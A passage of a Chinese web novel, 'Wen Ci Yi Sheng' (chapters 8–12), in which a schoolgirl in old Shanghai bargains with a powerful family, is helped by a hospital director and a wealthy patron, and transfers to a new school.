却听到闻亭丽在背后道:“如果我告诉白莉芸:乔杏初打算一年后跟她离婚。彼时无论我在不在上海,他都会找到我带我去香港结婚,不知白莉芸听了这话,还愿不愿意嫁给乔杏初?” 乔太太猛地刹住脚步。 “看来乔太太不知道这事,”闻亭丽扬了扬眉,“乔杏初在香港跟人合办了两家红酒厂,业务固然是刚起步,但一年时间足够乔杏初在香港站稳脚跟。这件事他瞒着所有人,却独独告诉了我,白莉芸只需托人查一查,就知道乔杏初的确曾对我许下过这样的承诺。她出于种种考虑答应这场婚事是一回事,能不能接受婚姻只维持一年又是另一回事。” “他敢!” “谁不敢?”闻亭丽轻轻一笑,“你儿子不敢,还是我不敢?你儿子若是不敢,此刻怎会被父亲软禁在书房?而我,一个已经被乔家逼到走投无路的人,又有什么事做不出来的?!乔太太还不知道吧,这些事都是邱大鹏告诉我的,他一面向你告密邀功,一面将乔家的私隐到处散播,相信现在上海除了我,已经有不少人知道乔杏初说死也不同意这桩婚事了。” 乔太太死死盯着闻亭丽,闻亭丽毫无惧色地与她对视,乔太太目光中慢慢迸射出杀意,扭头看看窗外,款款回到座位坐下。 “闻小姐打算如何把这话传到莉芸耳朵里?要不你现在就试试,走出这家咖啡馆之后,你能不能顺利见到你的父亲和妹妹。” “我都决定跟你们谈判了,又怎会不提前做些防范。来之前我刚写了一封信,这封信刻和那些礼物此刻都在我某位朋友手里。” “你的朋友?”乔太太几乎要放声大笑,“你秀德的那些同学和老师?你凭什么认为她们有机会接触莉芸?” 闻亭丽就那样微笑地望着乔太太。 乔太太的笑容慢慢挂不住了,略一思索,脸色一沉:“你究竟找了谁帮你?” “我只知道这个人当晚一定会出席乔杏初和白莉芸的婚礼,平日要见到白莉芸也是轻而易举的事。你防得了一时,防得了一年么?” 乔太太戒备地想了半晌,突然松懈下来:“黄远山?也对,我忘了那晚你在我们乔家出尽风头了,她那么想找你拍电影,说不定真会答应帮你的忙。可惜这孩子的父亲跟我很熟,只要我把话跟她说清楚,她是不可能被你利用的。” 说着轻蔑地剜一眼闻亭丽,“说来说去,不过是些上不得台面的手段——” 拿起包欲再次起身,可闻亭丽只是看笑话似地看着乔太太,乔太太不由眯了眯眼。 难道不是黄远山? 那又会是谁?谁敢在这个当口冒着得罪他们乔家的风险去帮闻亭丽?! 闻亭丽慢条斯理摆弄着托盘里的点心:“乔太太也知道我善于‘钻营’,当晚你们乔家贵客如云,我又怎会只结交一个黄远山。你不必费心找那人是谁,这个人极富正义感,一旦我这边有什么不对劲,就立即将东西交给白莉芸。红酒厂的事究竟是真是假,白莉芸当场就可以验知,没有哪个女人受得了这样的羞辱,白莉芸非但不会再嫁给杏初,还会自此将乔杏初视为仇敌。” 乔太太断然打断闻亭丽:“一个男人为了骗外面的女人跟他上床,什么样的话说不出来?杏初那是鬼迷心窍,眼下他已经瞧清了你的为人,那么这所谓的一年之约压根就不存在,莉芸是个分得清轻重的孩子,岂能被这些鬼蜮伎俩糊弄?” “乔太太不妨试一试她会不会动摇。”闻亭丽绽出一个鲜花般的笑容,“越是在意乔杏初,婚礼当天看到这份礼物所受的刺激就会越大。坦白告诉你,假如我不是自顾不暇,我恨不得立刻把乔杏初说过的话告诉白莉芸,她值得一个真心爱她的男人,而乔杏初他不配!” 至此,乔太太终于凶相毕露,那恨毒的模样仿佛恨不得当场将闻亭丽撕成两半,闻亭丽干脆拿着包起了身,乔太太脸色变了几变:“站住!你到底想做什么?” 8.第 8 章 《闻此一生》全本免费阅读 乔太太一嗤:“前面几条也就罢了,邱大鹏的事与我们无关。我和老爷只想让你们尽快离开上海,并未指使过邱大鹏去找你们的麻烦,这小人的事我们毫不关心,为他做保更是无从谈起。” 闻亭丽将信将疑打量乔太太,乔太太大约想起了方才闻亭丽说邱大鹏四处散播乔家密辛的话,脸上是掩不住的嫌恶。 “此外,你们必须立刻给我搬家。”乔太太又道,“杏初不只去过你们家一次,我不想他今后再跟你有任何接触,最好还是搬离原来的房子,搬得越远越好。” 闻亭丽冷嗖嗖地说:“我父亲仍在住院,眼下我腾不出空去找新房子。” “房子我可以令人帮你们找,租金也可以代你付,不过我得警告你一句:接下来这一年半我会派人监视你的一举一动,你要是胆敢私自联系杏初,别怪我毁约!” “只要你不再难为我们,我可以一辈子都不跟你们姓乔的打交道,但就像我前面所说的——学校、新房子和医药费的事乔太太必须尽快依照约定办成,我最多给你一天的时间,如果明晚我还等不到务实中学的录取书,我可不敢保证我那位朋友不会联系白莉芸。” 乔太太抄起手包起身,临走前咬牙挤出一句话:“回去等消息吧。” 乔太太一走,闻亭丽身子顿时软瘫下来,背上凉飕飕的,不用想也知道出了许多汗。 刚才她走了一步险棋,这会儿可是筋疲力尽了,她手中依旧紧紧攥着那张请帖,整个人却无力地趴伏到桌上。 要不是下午乔太太来得这样快,她也不敢笃定这桩婚事存在极大的变数,长房已是风雨飘摇,这场联姻对他们来说无异于救命稻草,任何导致婚事可能受阻的消息,都会令乔老爷和乔太太心惊胆战。 好在她赌赢了。 她高兴地把请帖收回书包,匆匆赶回慈心医院,察看完父亲的伤口,又带小桃子吃晚饭,稍后趁护士过来换药,便悄悄掩身出来。 穿过狭长的走廊,闻亭丽径直朝楼上走去,四楼是医院行政科的办公室,环境比楼下幽静许多,她走到尽头的一间办公室门前,轻轻敲了敲门。 只听门内响起一道和蔼的女声:“请进。” 推开门,就看见邓毅院长坐在办公桌后面翻阅文件。 “你回来了。” 闻亭丽眼圈微红,上前说:“我是来向您道谢的。” “快请坐。”邓毅含笑说,“现在闻小姐可以告诉我到底是怎么回事了?” 闻亭丽便将始末缘由娓娓道来。 乔太太恐怕做梦也不会想到,她找到的那位朋友就是邓院长。说起来她跟邓院长不过是一面之缘,如果不是被逼到了绝境,她也不会冒险向邓院长求助,谁知邓院长居然很爽快就答应了她的请求。 邓毅两手交握放在自己的膝盖上,就那样静静地倾听。 闻亭丽不是不忐忑的,邓院长固然可以在不暴露自己身份的前提下将东西悄悄转交给白莉芸,但此事毕竟随时会被人撞见,她老人家再热心肠,也未必肯冒着得罪乔家的风险帮助一个外人。不曾想等她说完事情的经过,邓院长丝毫没有反悔的意思,反而露出满面笑容:“你这孩子,未免也太机灵了。我只是有点好奇,你是怎么想到来找我帮忙的。” “因为……”闻亭丽忙说,“这家慈心医院是您创办的,这附近的老百姓几乎都听过您的种种善举,那晚在乔家我跟您虽是第一次见面,却有一见如故之感。您的双眼比年轻人还要清澈,只有心地正直的人才会如此。” 明明是有点肉麻的恭维话,可是从这孩子口里说出来,却说不出的熨贴悦耳,邓院长不禁失笑:“你是不是很怕我不肯帮忙?” 闻亭丽起先点点头,接着又摇头:“事情到了这一步,我已经在我能力范围内做出了最大的抗争,大不了离开上海从头再来,即便您不肯再帮忙,我也绝不会怪您的。” 说着起身向邓毅欠了欠身:“您是在第一个在我们家最困厄的时候伸出援手的人,无论我日后际遇如何,您的这份恩情我都会铭记于心。邓院长,‘人生一世长如客,何必今朝是别离’,哪怕我不得不离开上海,今后我也一定会找机会回报您的。” 邓毅有些动容,忙起身走到闻亭丽面前扶住他。 “这孩子,我跟你开玩笑呢。”她的目光慈爱得像冬日里的暖阳,“我怎会不帮你?这对你来说是人生的一道大难关,可对我来说却不过是举手之劳,换谁都肯帮忙的。再说了,你父亲是我的病人,在他的病情尚未转为稳定之前,我是绝不容许我的病人被人撵出上海。” 闻亭丽默默擦了把眼角,等她再次坐下,邓毅半开玩笑地说:“帮你的另一个原因,是那天晚上你那首《green sleeves》实在唱得好,这样多才多艺的女孩子就应当在学校里好好念书,无故被撵出学校我是第一个不答应的。” 闻亭丽垂下脑袋嘟囔:“可惜我在学校里念书的时候不算太用功。” 邓毅朗笑起来:“那你现在可知道悔悟了?” 闻亭丽噙着泪花点头,邓院长的神情老让她想起自己的母亲,心里一阵阵发酸,可又不好意思在邓院长面前放声啼哭,索性别过脸去,用手帕蒙住自己的眼睛。 邓院长被她的样子逗笑了:“傻孩子,想哭就哭吧,这几日你已经足够坚强了。” 闻亭丽抹干自己的眼泪,轻声说:“有个问题早就想问您了,今早我去交住院费,账房先生说医院减免了一大半费用,剩下的那部分,已经有人替我们交过了,我以为是姓邱的垫付的,账房先生却说那人是你的朋友。” 邓院长错愕:“有这么回事?” “您不知道那人是谁么?” 邓院长想了想:“这两日我一直在红十字会开会,实在没在医院碰到过什么熟人,等一等,难道是小孟——” 闻亭丽怔住,昨晚父亲被邱大鹏打得快断气时,正是一位孟先生打来电话解围。 “他叫孟麒光。”邓院长解释说,“那晚在乔家想必你也见过他,他是乔太太的表弟 9.第 9 章 《闻此一生》全本免费阅读 闻亭丽心怦怦直跳,乔太太办起事来倒是雷厉风行。 那人把东西交给闻亭丽后,一刻也没耽误,转身就走了。 “小橘子。”闻德生在病房里虚弱地抬头张望,“是不是警察来了?” “不是,是学校的一位先生来找我,我要转到务实女子中学去了,您看。” 闻德生非但不喜,反而大惊:“怎会突然要转学?是不是学校有人欺负你了?” “才不是,学校看我成绩好,主动推荐我去的。” 周嫂在边上想了半晌,高兴地一拍手:“呀,我知道这学校,前些日子大小姐跟她同学说过一回,说这学校是是全市最好的女子中学呢。” “爹,您听见了吗?连周嫂都晓得这学校好,真要有人欺负我,我还能转到这样的好学校去?” 闻德生神色稍霁,努力就着闻亭丽的手细看那录取书,忽然瞥见底下的租约合同,忙问:“这又是什么?” “噢,我找到新房子了。您还记得我们学校有位热心肠的黄老师吧,她听说我们的房子租约到期了,便主动帮我联系了一位最朋友,如今租约已经签好了,往后不用再操心房子的事了。” 不等父亲细看底下房东和租客的署名,她抢先把合同收起来。闻德生仍是满脸狐疑,就听走廊上传来女孩们的说话声:“请问闻德生先生住在哪间病房?” 闻亭丽赶忙出去,却是黄云带着同学们来了,她胸口一热:“黄老师、其珍、艾莎,你们怎么来了。” “我们来探望令尊,他老人家好些了吗?” “好些了。” 几人一看闻德生便知不好,无论是那灰暗的面色,还是那肿胀的躯壳,都透着生命力枯竭的迹象,她们竭力宽慰几句,又将带来的水果等物放下。 黄云悄悄把闻亭丽拉到一边:“你父亲他……” 闻亭丽垂下脑袋,黄云涩然拍拍闻亭丽的肩膀:“有什么需要帮忙的尽管告诉老师。” 闻亭丽感激地点点头。 “对了,听说学校把你的学籍转到务实去了?” 闻亭丽给黄云看自己的转学接纳书。 “这样再好不过了。”黄云大喜过望,随即恨声说,“可惜老师从头到尾没能帮上什么忙。” “快别这样说!昨日您为了我的事可是在学校奔走了一整天!我真庆幸遇到您这样富有正义感的老师。” 黄云苦笑:“学生在学校遇到了不公平的事,做先生的本就该为学生极力争取。还好事情已经解决了,不然我也会愤而辞职。对了,你这几天没来上课,可千万别落下功课,我让她们把笔记给你带来了。” 刘其珍和陈艾莎将一叠厚厚的本子交给闻亭丽,两个人什么也没说,可是这份朴素的真情还是触动了闻亭丽的心弦,她一时不知说什么,抚摸着笔记的封皮,喃喃说:“谢谢你们。” 刘其珍忙说:“瞧你,我们可是好朋友,好朋友就是要互帮互助的。等你去务实报道了,我们和宝心还要去找你玩呢。” “你们见到宝心了?” “没见到,她被她母亲关在家里了,据说直到她哥哥的婚礼结束之前,家里人都不会放她出来。对了,前几日宝心在电话里向我们打听过你,她非常担心你的处境——亭丽,你没误会宝心吧?乔家的长辈有多强势你是知道的,宝心也是没办法,她说她一从家里出来就去找你。” 闻亭丽摇摇头:“我从来没有怪过宝心,不过我想,今后乔太太绝对不会允许她再来找我的。回头你们要是能联系上宝心,代我对她说一句,我很感谢她对我的关心。” 直到一行人告辞离去,闻亭丽仍抱着那摞笔记在医院门口发呆,一回到病房,她便争分夺秒誊抄笔记。 在秀德念书期间,她因为经常代表学校参加各类话剧演出的缘故,英文成绩一直很不错,但国文和数学最多算中下等,眼下离联考只有两个多月了,她必须全力以赴才有机会考进大学。 小桃子早在周嫂怀里睡着了,闻德生床上昏昏沉沉盹着,周嫂平日比谁都唠叨,但直觉告诉她这会儿绝不宜打搅闻亭丽,一时之间,病房里只能听见闻亭丽挥动钢笔在纸上唰唰唰写字的声音。 认认真真温了两个钟头的书,闻亭丽感到空前踏实,不一会汤普生带着护士过来给父亲换药,原本安静的病房一下变得乱哄哄的,闻亭丽索性将笔记塞回书包里:“要不我先回去收拾收拾东西,再过两天就要搬新家了,别到时候弄得手忙脚乱的,顺便给你们买点吃的回来。” 一出来,闻亭丽就在医院大门口看到一辆黑色洋车。 这辆车对她来说一点也不陌生,上回她扎邱凌云的汽车轮胎时,恰是这辆车从自己身畔擦过,当时她就觉得车上的人声音有点耳熟,现在全想起来了,那应该就是邓院长口中的孟麒光,她在乔家跟他打过照面。 假如真是这位孟先生帮忙垫付的住院费,怎么也得当面跟人家说一句谢谢,说来也巧,那车一到她身边就停了下来,忙要上前,路边却跑来十几个白龙帮的人,呼啦啦围上去,“孟先生”长“孟先生”短的。 闻亭丽最怕跟白龙帮的人搅在一起,当即闪到一边,刚好电车来了,忙不迭就上了车。 电车一启动,就听窗户外头有人喊“闻小姐”,她只当自己听错了,可外头紧接着又喊一声,忙要往外看,无奈车里太挤,想要挪动一步都极难,只得带着一肚子疑问回了家。 下车走到衖堂口,忽然感觉有点不对劲,一回头,就见身后不知何时多了两个穿黑短褂的汉子,对方显然也没打算遮掩,她一停脚,他们也也大剌剌停下来站在路边的树下,边抽烟边睨视着闻亭丽。 闻亭丽第一反应是吃惊,再看便觉得这两个人有点眼熟,是了,上次她在乔太太身边见过这两个人,莫不是乔太太派他们来监视她搬家的? 她冷笑,在乔杏初举办婚礼期间,自己大约是甩不掉这些尾巴了。她这人,最大的优点就是从不自寻烦恼,既然甩不掉,不如索性把他们当作自己的保镖来看,这一想,她便继续哼着小曲进了衖堂。 那两个人嘴里的烟差点惊得掉下来,这小姑娘真是奇了,换作别人,多半会吓得慌手慌脚的,她怎么还笑嘻嘻的。 正值晚饭时分,衖堂里家家户户都在厨房里做菜,耳边充斥着锅铲声和说笑声,闻亭丽径直走到自家大门,又穿过天井进屋,地上还残留着那晚打架的痕迹,桌子板凳散落一地。 闻亭丽随手捡起一把扫帚收拾起来,偏在这时,巷子里传来一阵由远而近的脚步声,直奔她家而来。 闻亭丽正纳闷是谁,一个瘦高的年轻人气势汹汹推门而入:“闻亭丽!我就知道你躲回家来了!” 闻亭丽的诧异瞬间变成了恼怒:“侬则瘪三居然还敢来!” “我怎么不敢来?”邱凌云的恼怒一点儿也不比闻亭丽少,“我问你,你是不是在乔太太面前乱嚼舌根了?大宝洋行的东家无缘无故把我爹开除了!我爹一贯最讨陈东家的欢心,要不是有人说了他坏话,老东家绝不可能突然把我爹撵走。” 闻亭丽愣了愣,随即捧着肚子大笑起来:“真的吗?竟有这样的现世报?!” 她那番挑拨居然起了作用,乔家人听说邱大鹏正四处散播他们的私隐,果然一出手就是狠招。 邱凌云愈加恼羞成怒:“你还好意思笑?我爹堂堂大宝洋行的经理,就这样被人不明不白撵出来,往后还怎么在这个行当混?你这分明是要断绝我们邱家的财路!你也太下作了!” 闻亭丽啐道:“你也配提‘下作’二字?这世上最下作的事都被你们这对父子做尽了!我问你,你爹欠我爹的命什么时候还?!” 邱凌云一噎:“什么命不命 10.第 10 章 《闻此一生》全本免费阅读 闻亭丽忙说:“多谢孟先生。” “有没有受伤,要不要带你去医院看看?” “我没事。” 孟麒光没再作声,改而不动声色打量店里的光景。 闻亭丽悄悄观察他片刻,再次把目光转向地上的邱凌云,邱凌云每惨叫一声,她心里的痛快就多一分。他每挨一拳揍,那种遗留在她身体上的恶心感就消散一分。 孟麒光始终没有叫手下停手的意思,仿佛有意要让闻亭丽瞧瞧邱凌云被打的惨状,等闻亭丽陡然意识到这一点,才发现孟麒光不知何时已将目光转到了她的脸上。 “闻小姐心里舒服一点了么?”他坦坦荡荡发问。 这个人显然不是一般的聪明,别人的小心思,他一眼就能看穿,而这类人,往往也兼具操控人心的本领,闻亭丽谨慎地看他一眼,客客气气地说: “多谢孟先生仗义相助。我先去巡捕房报警,稍后警察来抓人时,还请孟先生做个见证。” 孟麒光却仿佛听见了什么笑话:“警察?租界的警察什么事都做,唯独不做正经事。对付这种人,不如用更直接的法子,这样吧,请闻小姐先回避一二,我有几句话要对这小子说,不大雅观,怕污了闻小姐的耳朵。小高,你带闻小姐去车上等着,她身上恐有伤,你帮她去买些药粉。” 邱凌云听见这话,捂住自己的□□杀猪般叫起来:“姓孟的!你要敢阉了我,我就把你们孟公馆一把火烧了!别人怕你,我和我爹可不怕你!你知道我爹是谁吗?” 闻亭丽一震,本想说些什么,但孟麒光的表情告诉她,接下来的事已经与她无关。 “你以为我不知道你藏着什么心思?”邱凌云在地上发疯般扭动挣扎,“大家都是男人,少在我面前装高尚!上次你插手我们两家的事也就算了,这次你又来捣乱,我跟闻亭丽青梅竹马,轮得到你来教训我?你以为把我废了,闻亭丽就是你的了?你做梦!” 孟麒光的手下们听得火起,挥拳又要再打,被孟麒光抬手止住了,他插着裤兜走到邱凌云的身边,对准他的脸便是重重一脚,邱凌云被踢得鼻子一歪,门牙也在四溅的鲜血中飞出来两粒。 邱凌云嘴里仍不屈不挠地乱嚷:“我本来不想说的,是你逼我的!我爹现在是白龙帮老帮主曹振元的义子,全上海都得买他的帐,我背上才纹了白龙帮的白龙章,不信你自己看!我爹前不久才帮老帮主做了一笔大买卖,曹帮主早已将他视作心腹,你敢再动我一下试试!” 闻亭丽本已走到门口,听到这话又顿住脚步,莫非公共租界的警察是因为这个缘故才百般维护邱大鹏?! 可惜下一秒,门就在她面前关上了,那位叫小高的男子很客气地对她说:“闻小姐,我带你到孟先生车上等。” 闻亭丽有些踟蹰,邱凌云是在她家店里挨的打,接下来还可能在她家被“阉”,孟麒光自是什么也不怕,她却只是一个小老百姓,即便她一走了之,警察也会找到她头上来,而且她也很关心邱凌云说的那番话究竟是不是真的, “那个……”她试图开口。 小高很体恤地说:“闻小姐不必有什么顾虑,天塌下来自有孟先生顶着。” 说完这话,竟是不容分说领着闻亭丽走到洋车前。 闻亭丽坐在车上,简直如坐针毡,忐忑等了一会,小高拿了一包药粉和医用棉花来。 “闻小姐,你脖子上破了一个口子,上上药吧,给,这是镜子。”这人做事出奇地细致,从窗外把药递进来,立即背过身去。 闻亭丽心想,这孟麒光不仅自己体面,连手底下的人也被他调-教得甚至知礼知趣。 她忙道谢,对着镜子自行上药,忽见道路尽头出现另一辆车,这车风驰电掣,一径开到巷口,车上哗啦啦跳下来五六个穿银白色短褂的年轻人。 白龙帮!这帮人常在市井收租,老百姓多多少少有点怕他们。 这伙人一下车就直奔衖堂里深处而去,闻亭丽目光紧紧跟着他们的背影,心中暗想:难道刚才邱凌云不是吹牛? 没过多久,白龙帮的人竟抬着奄奄一息的邱凌云出来了,借着路灯看去,邱凌云浑身上下已无一块好肉,但□□处并没有血渍。 紧接着,孟麒光几个也出来了,另有一个做首领打扮的,正拉着孟麒光寒暄。 “多谢孟先生高抬贵手,这小子死不足惜,但谁叫他老子为咱们老帮主卖过命呢,您也晓得我们曹帮主是最护短的,好在经过这番教训,相信这小子也知错了,以后绝不敢再来打搅孟先生的朋友,既然孟先生气出得差不多了,我就把这臭小子带走了?” 这番话看似和软,实则不容推却。孟麒光面色不虞,那人忙又笑道:“孟公子这次肯卖我们面子,帮主他老人家自会心中有数,上回孟先生不是有一批货滞留在码头吗,小事情,今晚老帮主就打个电话给何局长。” 孟麒光仍没有松口的意思,这人便快步走到邱凌云面前蹲下:“说!以后还敢不敢再来骚扰孟先生的朋友?” 邱凌云咬紧牙关,死活也不开腔。 “臭小子,死到临头还这样倔,往后别指望曹帮主再帮你!快说,以后你还敢不敢了?” 终于,邱凌云不甘不愿地哼唧了一句:“不……不敢了。” 那人忙对孟麒光笑道:“听见了吧孟先生,这小子今后绝不敢了。” 孟麒光面无表情看着他们把邱凌云抬上另一辆洋车,“轰隆”“轰隆”声中,这辆车仍像来时那样风驰电掣消失在夜色里。 车里,闻亭丽张大嘴望着这一切。孟麒光一上车便说:“先送闻小姐回慈心医院。” “不必了。”她忙道,“旁边就有电车,搭车回去很方便的,谢谢孟先生。” 小高在前头说:“闻小姐,还是让我们送你回去吧,白龙帮的人还没散尽,当心路上不安全。” 汽车掉头朝慈心医院的方向开去。闻亭丽悄然挪了挪身子,孟麒光就坐在她旁边,两个人相距那样近,近到她几乎能听见他的呼吸声,她莫名有点拘束,端端正正坐了一会,忍不住问:“孟先生,上回我爹的住院费是不是您帮忙垫付的?” 说着便从书包里掏出另一张银票,既然在此地遇见了,不如当面把钱还给孟麒光,这样也显得隆重些。至于先前放在邓院长的那一张,等她说明情况邓院长自然会还她的。 孟麒光却突然另起话题:“你认识邱家父子多久了?” “很早就认识了。”闻亭丽想了想,“过去在南京的时候,我爹跟邱大鹏是拜把兄弟,到了上海之后关系才慢慢淡下来。” “这个邱大鹏上个月私自利用大宝洋行的两艘船帮白龙帮运了两箱金条。” 闻亭丽一愣。 “货船路径武汉时,恰好远洋局的官员过来提调,白龙帮的人因为喝多了酒,不小心在几个官员面前露了行藏,两船‘黄鱼’眼看要被没收,是邱大鹏冒着性命危险从枪口下把货藏到了别船,成功保住了金条。自那之后,白龙帮的老帮主就认了邱大鹏做义子。” 闻亭丽听得暗暗皱眉,难怪邱大鹏那晚才敢肆无忌惮欺侮她父亲,事后更是明目张胆逃避法责!原来是有了白龙帮这座大靠山。 “如今连公共租界的警察动不了邱大鹏,因为一旦动了邱大鹏,就无异于跟曹帮主为敌。”沉默片刻,孟麒光耸了耸肩,“我也拿这对姓邱的父子没办法。” 闻亭丽正是心乱如麻,听到这话反倒愣了一下,这位孟先生明明深不可测,有时候却又坦荡得出奇。 她咬了咬唇:“多谢孟先生告诉我这其中的曲折,这毕竟是我们闻家和邱家的恩怨,从头到尾不与您相干,前前后后您已经帮了我们好几次了,我心里很是感激,以后有机会一定好好报答您。” 孟麒光转过头来看了闻亭丽一眼。 恰巧汽车路过一家百货公司,橱窗里五颜六色的霓虹灯从窗外映照过来,闻亭丽的脸完全暴露在光线中。 他自己却始终背对着光。 在那半明半暗的光线中,闻亭丽第一次注意到孟麒光的眸光极其熠亮。 不过很快,孟麒光便将脸转过去,望着窗外说:“说起来,我也是受人所托。杏初整日被他父亲关在书房,担心你出事,一再拜托我关照你,不然我也不会三番四次出现在你面前,所以闻小姐倒也不必觉得过意不去,我这做表舅的不过是帮杏初的忙。” 闻亭丽一听到“乔杏初”的名字就不作声了。 孟麒光瞥瞥她::“我表姐夫派人跟踪你?” 闻亭丽“嗯”了一声。孟麒光的表情有些不以为然,似乎对表姐和姐夫的做法很是不屑,忽然想起什么,笑了笑道:“听说你逼我表姐帮你转学到务实女子中学去了?我真好奇闻小姐是怎么做到的,我那表姐固执又能干……一般人可降不住她 11.第 11 章 《闻此一生》全本免费阅读 闻亭丽忐忑上前:“您已经帮了我们家太多的忙,我不想让您为了这事欠人家人情,尤其不想让您为了我家的事得罪白龙帮。” 邓院长好笑又心酸。 “你这孩子,白龙帮也不是人人都怕的。事关一条人命,总不能眼看着行凶者逍遥法外。陆家我虽不熟,法院和律师界我倒还有几个老朋友,我先跟他们商量商量该怎么办。” 闻亭丽在一旁惴惴等待,电话一打通,邓院长便含笑对那边自报名字。对方果然很热情,隔着话筒也能听见那“沙沙沙”的高昂语调。然而讲完这通电话,邓毅的面色却丝毫未见好转,她拿起桌上的电话簿翻了翻,又拨通了下一个号码。 这回却是打给圣玛丽医院院长办公室。 “高院长,我是邓毅。” 这次比上次聊得更久。 放下电话,邓毅许久没有说话,灯光下,她那一头银发尤显老态,闻亭丽忙将邓院长坐到沙发里,又跑到一旁倒茶水。 “别担心,我们慢慢想办法。”邓毅思索着说,“现在比较麻烦的是,邱大鹏应该是早就想好了如何逃避法责,经圣玛丽医院当晚的急诊科医师诊断,他身上几处肋骨均有骨折,而且他一口咬定是被你父亲打的,甚至还托圣玛丽医院的医生向法租界的巡捕房报案。” “他胡说八道!”闻亭丽又惊又气,“那晚邱大鹏从我们家出来时,跑得比兔子还快,陈叔叔和周伯都可以证实这一点。” 邓毅缓缓摇头:“他二位是当事人,邱大鹏说不定还会揪住这一点反咬你父亲早就想找他麻烦,如今法租界已经接了邱大鹏的报案,万一那边的公审局最终判他只是自卫,说不定还会让你父亲承担邱大鹏的医药费。” 闻亭丽听得浑身血流直冲脑门:“这还有没有王法了!” “不怕,明天我约几位律师朋友碰碰面,好孩子,你放心,这件事我会管到底的!” 邓毅人如其名,问题越棘手,她的表情反而越坚毅,这一态度,也深深触动了闻亭丽的心扉,她的眼神也随即变得坚定起来:“好,我都听您的,我回去等消息。” 按照她原本的想法,是打算劝说邓院长不再插手此事的,现在她明白了,这种话对邓院长是一种人格上的侮辱,邓院长是绝对不会退却的。 一念至此,闻亭丽泪盈于睫,喃喃道:“‘慈心’、‘慈心’,我算是明白贵医院这名字的深意了。我真幸运,遇到您这样的好人。” 邓毅喟叹一声,用半开玩笑的语气说:“看看你自己,像不像一株幼苗?我这老太太已是一棵苍天大树,如今你这株幼苗遇到了风雨,大树怎能不帮你遮挡一二?等将来你也长成一棵参天大树了,自然也会帮助其他幼苗的。” 闻亭丽百感交集,伏在邓院长的膝上放声哭起来,老人的目光是那样温柔、哀切和富于同情,仿佛能抚平这世上所有的创痛。 哭了好一会,闻亭丽心中释然不少,赧然用手帕擦干眼泪:“我明天要去务实中学报道了,您放心,我一定会好好念书的。这几日忙着搬家,原本担心没人照料我父亲,结果刚才护士告诉我可以雇佣护工,一天只要十个铜板,这下好了,我上学时也能安心些,还想问您给我爹用了什么药,他刚才睡得可香了。” 邓毅拉开抽屉拿出一张处方给闻亭丽看:“昨日医院到了一批英国的新药,其中一种营养针正是你父亲急需的,另外还有一种止痛药也有助于缓解您父亲的疼痛,只要营养和睡眠能跟上,相信你父亲会恢复得稍快些。” 闻亭丽面色一亮:“这是不是说我父亲的病有希望治好?” 邓毅想了想说:“暂时还说不定,刚才查房,你父亲的几处指标都没有大的好转,但情况也没有明显恶化,再治疗一段时间看看。” 等闻亭丽回到病房,周嫂已经搂着小桃子在旁边空着的病床上睡着了。 闻亭丽怔怔地坐到病床边,黯淡的灯光下,父亲的脸蜡黄得出奇,那凹陷的脸颊和眼窝让他看上去一点也不像真人,倒像香烛店里相貌诡怪的蜡像。 才几天,一条鲜活的生命就枯竭成这样,还好现在用上了新药,这让她心中再次升起了希望,低下头去,把脑袋抵着床框,用很小的声音唤道:“爹。” 闻德生本像一具死尸般无声无息,忽然浑身一个激灵,仰起下颌,慌乱而又茫然地应道:“爹在这,怎么了孩子。” 闻亭丽闭了闭眼睛,让自己的眼泪扑簌簌滴落到地板上。 “我回来了,我想看会儿书。” “好,你尽管看书,别管爹。”闻德生稀里糊涂应道。 闻亭丽擦干眼泪,回身抱过书袋坐到一旁的小桌子前,慈心医院照例每晚十点熄灯,再过几分钟就看不了书了,她提前用洋火点亮一盏煤油灯,专心做功课。 闻德生在床上默默听着女儿翻书,幽幽地道:“亭丽,万一爹好不了了……” “胡说,邓院长今天刚给您换了新药,您会一天比一天好的。” “真的?”闻德生眼睛微亮,“难怪觉得身上舒爽了好些。” 他的表情一下子舒展起来,默默盯着天花板,没忍住再次开腔。 “店里那些剩余的布料和机器,差不多能抵四百大洋,你雇车将东西运到洋布市场去找一 12.第 12 章 此话一出,周围的女学生全朝闻亭丽看过来。 “黄小姐。”她朝黄远山迎去。 “噫,你不是在秀德念书吗,什么时候转到务实来的。” “就今天。”闻亭丽笑了笑,她不大想聊这个话题。 黄远山说:“我来找你们学校艺术部的主任谈个事情,没想到她不在,只好又出来了,你吃过早饭了吗?要不我请你——” 闻亭丽指了指校门口,为难地说:“下次好不好?我快迟到了。” “也好,那就不耽误你报道了,我们回头再聊。”黄远山回到车上一踩油门,驱车朝大马路的另一头走了。 闻亭丽返身进校门,校工却一把拦住她:“小姑娘,你不是我们学校的吧。” 闻亭丽从书袋里取出 “转学生接纳书”给校工看,这才获准进去。 几个女生一听闻亭丽是转校生,纷纷帮她指路:“我们邹校长这段时间在北平开会,你可以先去找米歇尔女士,她是主管教务的副校长,平时在思远楼的一楼办公,诺,看到那幢小白楼了吗?就是那里。” 没想到同学们一个个都这么热情,闻亭丽异常高兴向大家道了谢,按照指引寻到了米歇尔副校长的办公室,站在门口往内望,就看到一位穿着雪青绉纱旗袍的洋人坐在办公桌后面办公。 咦,她好像在哪里见过这金发洋人。 “校长好,我是从秀德女子中学转来的。” 米歇尔抬起头。她大约四五十岁,剪着学生式的短发,一双精明的蓝眼睛,鹰钩似的鼻子,鼻梁上架着一副玳瑁色眼镜,面孔瘦削方正。 闻亭丽想起来了,她在乔家的晚宴上见过这洋人,当时这个人在花园里跟乔太太很亲热地说着话,两人关系似乎很不错。 米歇尔也在打量闻亭丽,将她从头到脚打量一番,又将她从脚看到头,淡淡说:“进来吧。” 她的中文十分流利,假如没看见她的面孔,光听这声音准会以为是个地道的中国人在说话。 闻亭丽走过去将手中的转学接纳书和学籍一并放到桌上,弯腰向米歇尔行了一礼。 “学生叫闻亭丽,这是我的学籍证。”她甜甜地笑。 “成绩单呢?”米歇尔端起手边的咖啡盅漫不经心喝着。 “噢,在这儿。”闻亭丽忙拿出自己上学期的成绩单。 米歇尔对着成绩单看了许久,这才慢条斯理放下咖啡:“马马虎虎吧。务实历来以向社会和更高学府输送优秀人才为己任,除了严抓学生的功课,还会定期对学生进行品行评估,凡是行为不端的,都会立即劝退或开除,闻小姐来务实念书可以,但一定要严格遵守学校纪律。” 闻亭丽从书袋里抽出一封信交给米歇尔:“这是秀德的班主任黄云老师为我写的推荐信,黄先生是复旦教育系毕业的,一向对自己的学生很负责,您看看这信就知道,学生过去在秀德表现很不错的。” 米歇尔长并不肯接那封信,只微微一笑:“作为负责管理学生风气的副校长,我对每一位转学生的情况都必须提前进行了解,闻小姐是什么样的品行,我早已做过调查。” 